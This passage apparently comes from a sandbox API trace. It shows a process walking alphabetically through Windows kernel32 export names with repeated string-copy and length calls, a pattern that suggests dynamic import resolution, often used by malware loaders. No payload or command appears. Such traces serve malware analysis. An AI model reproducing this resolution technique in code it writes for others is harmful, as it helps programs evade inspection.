21 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0103.079] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0103.080] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0103.080] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0103.080] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0103.080] lstrlenA (lpString="CHECKELEVATION") returned 14 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0103.080] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0103.080] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0103.080] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0103.080] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0103.080] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0103.080] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0103.080] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0103.080] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0103.080] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0103.080] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0103.080] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0103.080] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0103.080] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0103.081] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0103.081] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0103.081] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0103.081] lstrlenA (lpString="CLOSESTATE") returned 10 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0103.081] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0103.081] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0103.081] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0103.081] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0103.081] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0103.081] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0103.081] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0103.081] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0103.081] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0103.081] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0103.081] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0103.081] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0103.081] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0103.081] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0103.082] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0103.082] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0103.082] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0103.082] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0103.082] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0103.082] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0103.082] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0103.082] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0103.082] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0103.082] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0103.082] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0103.082] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0103.082] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0103.082] lstrlenA (lpString="COPYCONTEXT") returned 11 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0103.082] lstrlenA (lpString="COPYFILE2") returned 9 [0103.082] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0103.082] lstrlenA (lpString="COPYFILEA") returned 9 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0103.083] lstrlenA (lpString="COPYFILEEXA") returned 11 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0103.083] lstrlenA (lpString="COPYFILEEXW") returned 11 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0103.083] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0103.083] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0103.083] lstrlenA (lpString="COPYFILEW") returned 9 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0103.083] lstrlenA (lpString="COPYLZFILE") returned 10 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0103.083] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0103.083] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0103.083] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0103.083] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0103.083] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0103.083] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0103.083] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0103.083] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0103.084] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0103.084] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0103.084] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0103.084] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0103.084] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0103.084] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0103.084] lstrlenA (lpString="CREATEEVENTA") returned 12 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0103.084] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0103.084] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0103.084] lstrlenA (lpString="CREATEEVENTW") returned 12 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0103.084] lstrlenA (lpString="CREATEFIBER") returned 11 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0103.084] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0103.084] lstrlenA (lpString="CREATEFILE2") returned 11 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0103.084] lstrlenA (lpString="CREATEFILEA") returned 11 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0103.084] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0103.084] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0103.084] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0103.085] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0103.085] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0103.085] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0103.085] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0103.085] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0103.085] lstrlenA (lpString="CREATEFILEW") returned 11 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0103.085] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0103.085] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0103.085] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0103.085] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0103.085] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0103.085] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0103.085] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0103.085] lstrlenA (lpString="CREATEJOBSET") returned 12 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0103.085] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0103.085] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0103.085] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0103.086] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0103.086] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0103.086] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0103.086] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0103.086] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0103.086] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0103.086] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0103.086] lstrlenA (lpString="CREATEPIPE") returned 10 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0103.086] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0103.086] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0103.086] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0103.086] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0103.086] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0103.086] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0103.086] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0103.086] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0103.086] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0103.086] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0103.087] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0103.087] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0103.087] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0103.087] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0103.087] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0103.087] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0103.087] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0103.087] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0103.087] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0103.087] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0103.087] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0103.087] lstrlenA (lpString="CREATETHREAD") returned 12 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0103.087] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0103.087] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0103.087] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0103.087] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0103.087] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0103.088] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0103.088] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0103.088] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") 